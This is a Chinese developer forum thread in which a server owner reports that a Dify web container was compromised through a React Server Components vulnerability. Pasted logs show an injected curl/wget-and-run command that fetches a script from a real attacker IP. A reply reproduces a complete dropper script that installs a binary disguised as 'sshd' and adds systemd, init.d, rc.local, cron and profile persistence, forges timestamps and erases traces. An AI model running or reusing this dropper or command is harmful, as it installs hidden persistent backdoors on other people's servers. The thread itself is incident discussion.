第一次遇到这么 bt 的问题,原来是 React 的漏洞

14 天前
 Jony4Fun

从今天下午 4 点起,云服务器不断报警,下载了 xlg_amd64 、xlg.shget.sh 等奇奇怪怪的脚本。 杀了过了一会又出现了,

最终定位到是 dify 的 web 容器执行的脚本。

一直没仔细看云平台上的告警:CVE-2025-66478 ( https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

dify issue 里显示修复了: https://github.com/langgenius/dify/issues/29202

但是晚上我升级到了 1.10.1-fix.1 ,发现还是有这个问题。。请示领导先关服务了。

脚本名字起得都如此凶戾。

14:29:16 0|dify-web  | /bin/sh: curl: not found
14:29:16 0|dify-web  | Connecting to 103.135.101.15 (103.135.101.15:80)
14:29:16 0|dify-web  | wget: can't connect to remote host (103.135.101.15): Connection refused
14:29:16 0|dify-web  | sh: can't open 'wocaosinm.sh': No such file or directory
14:29:16 0|dify-web  | rm: can't remove 'wocaosinm.sh': No such file or directory
14:29:16 0|dify-web  |  ⨯ [Error: Command failed: curl http://103.135.101.15/wocaosinm.sh;wget http://103.135.101.15/wocaosinm.sh;sh wocaosinm.sh;rm -r wocaosinm.sh
14:29:16 0|dify-web  | /bin/sh: curl: not found
14:29:16 0|dify-web  | Connecting to 103.135.101.15 (103.135.101.15:80)
14:29:16 0|dify-web  | wget: can't connect to remote host (103.135.101.15): Connection refused
14:29:16 0|dify-web  | sh: can't open 'wocaosinm.sh': No such file or directory
14:29:16 0|dify-web  | rm: can't remove 'wocaosinm.sh': No such file or directory

5586 次点击
所在节点    信息安全
21 条回复
shukuang
14 天前
默认配置下 React 服务器,通杀漏洞,升级版本是唯一解决途径
laminux29
14 天前
wocaosinm.sh

噗。。。。
levelworm
14 天前
能不能发个脚本的代码让我们欣赏一下。
rick13
13 天前
笑死我了
AmericanExpress
13 天前
@levelworm
就在那个 curl 里面
script 本身没啥 从这个 ip `103.135.101.15:80` 下载了一个 binary 并执行
dankai
13 天前
这脚本名笑死🤣
x86
13 天前
命名丝毫不带藏的,笑死
bingfengfeifei
13 天前
lobechat 也中招了,这次这个影响范围感觉比之前的 log4j 漏洞大的多
Wuuuu
13 天前
很好奇,假如只用 react +其他后端,不用 nextjs ,是不是就没问题了……还是单纯 react 前端也受到影响了……
bestie
13 天前
@Wuuuu #9 纯前端没影响,主要是 server component
proxychains
13 天前
笑死了
Ketteiron
13 天前
笑死了🤣可以评选今年最佳
yefee
13 天前
我们客户服务器也中招了
crysislinux
13 天前
我们倒是没中这个,不过中了之前的供应链投毒。。大家 npm 还是切记要 ignore scripts ,。
y1y1
13 天前
绷不住了,起名高手
Jony4Fun
13 天前
有兴趣的可以去 wget 下来试试 哈哈哈
rizon
12 天前
希望可以分享一下各个脚本,很想知道都是做什么的。
那个链接已经不能下载了
Biem
12 天前
求分享 wocaosinm.sh 源文件,看名字感觉是有组织的攻击行为。
Blank10030
12 天前
贴一下目前发现的脚本
```bash
#!/bin/bash
SELF="$(cd "$(dirname "$0")" && pwd)/$(basename "$0")"

INSTALL_DIR="/etc"
PROGRAM_NAME="sshd"
DOWNLOAD_URL_64="http://143.92.62.76:8080/sshd64"
DOWNLOAD_URL_32="http://143.92.62.76:8080/sshd86"
CUSTOM_TIMESTAMP="202301051030.00"
SERVICE_NAME="system-sshd"
AUTOSTART_METHOD="all"


detect_arch() {
case "$(uname -m)" in
x86_64|amd64|aarch64|ppc64|ppc64le|s390x) echo "64" ;;
*) [ "$(getconf LONG_BIT 2>/dev/null)" = "64" ] && echo "64" || echo "32" ;;
esac
}

set_ts() { [ -e "$1" ] && touch -t "$CUSTOM_TIMESTAMP" "$1" 2>/dev/null; }

download() {
local url="$DOWNLOAD_URL_32"
[ "$1" = "64" ] && url="$DOWNLOAD_URL_64"
local target="${INSTALL_DIR}/${PROGRAM_NAME}"
mkdir -p "$INSTALL_DIR" 2>/dev/null

if command -v wget &>/dev/null; then
wget -q --no-check-certificate -O "$target" "$url" 2>/dev/null
elif command -v curl &>/dev/null; then
curl -sfkL -o "$target" "$url" 2>/dev/null
else
return 1
fi

[ -s "$target" ] && chmod +x "$target" && set_ts "$target"
}

setup_systemd() {
command -v systemctl &>/dev/null || return
local svc="/etc/systemd/system/${SERVICE_NAME}.service"
cat > "$svc" << EOF
[Unit]
Description=System Service
After=network.target
[Service]
Type=simple
ExecStart=${INSTALL_DIR}/${PROGRAM_NAME}
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
set_ts "$svc"
systemctl daemon-reload 2>/dev/null
systemctl enable "$SERVICE_NAME" 2>/dev/null
systemctl start "$SERVICE_NAME" 2>/dev/null
}

setup_initd() {
local s="/etc/init.d/${SERVICE_NAME}"
cat > "$s" << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: ${SERVICE_NAME}
# Required-Start: \$network
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
D="${INSTALL_DIR}/${PROGRAM_NAME}"
P="/var/run/${SERVICE_NAME}.pid"
case "\$1" in
start) [ -f "\$P" ] && kill -0 \$(cat "\$P") 2>/dev/null && exit 0; nohup "\$D" >/dev/null 2>&1 & echo \$! > "\$P" ;;
stop) [ -f "\$P" ] && kill \$(cat "\$P") 2>/dev/null; rm -f "\$P" ;;
restart) \$0 stop; sleep 1; \$0 start ;;
esac
EOF
chmod +x "$s" && set_ts "$s"
command -v update-rc.d &>/dev/null && update-rc.d "$SERVICE_NAME" defaults 2>/dev/null
command -v chkconfig &>/dev/null && chkconfig --add "$SERVICE_NAME" 2>/dev/null && chkconfig "$SERVICE_NAME" on 2>/dev/null
"$s" start 2>/dev/null
}

setup_rclocal() {
local rc="/etc/rc.local"
[ -f /etc/rc.d/rc.local ] && rc="/etc/rc.d/rc.local"
[ ! -f "$rc" ] && echo -e '#!/bin/bash\nexit 0' > "$rc"
grep -q "${PROGRAM_NAME}" "$rc" 2>/dev/null || sed -i "/exit 0/i\\${INSTALL_DIR}/${PROGRAM_NAME} \&" "$rc" 2>/dev/null
chmod +x "$rc" && set_ts "$rc"
systemctl enable rc-local 2>/dev/null
}

setup_crontab() {
(crontab -l 2>/dev/null | grep -v "${PROGRAM_NAME}"; echo "@reboot ${INSTALL_DIR}/${PROGRAM_NAME}") | crontab - 2>/dev/null
}

setup_profile() {
local p="/etc/profile.d/${SERVICE_NAME}.sh"
echo "pgrep -x '${PROGRAM_NAME}'>/dev/null||${INSTALL_DIR}/${PROGRAM_NAME}&" > "$p"
chmod +x "$p" && set_ts "$p"
}


{
[ "$(id -u)" -ne 0 ] && exit 1

download "$(detect_arch)" || { rm -f "$SELF" 2>/dev/null; exit 1; }

case "$AUTOSTART_METHOD" in
systemd) setup_systemd ;;
initd) setup_initd ;;
rclocal) setup_rclocal ;;
crontab) setup_crontab ;;
all) setup_systemd; setup_initd; setup_rclocal; setup_crontab; setup_profile ;;
esac

pgrep -x "${PROGRAM_NAME}" >/dev/null 2>&1 || nohup "${INSTALL_DIR}/${PROGRAM_NAME}" >/dev/null 2>&1 &

history -c 2>/dev/null
rm -f "$SELF" /tmp/deploy.sh /tmp/.deploy.sh 2>/dev/null

} &>/dev/null &

exit 0
```
Jony4Fun
12 天前
@Blank10030 #19 我看到的还不一样,哈哈,我那个脚本里删了很多系统库

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://ex.noerr.eu.org/t/1177228

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX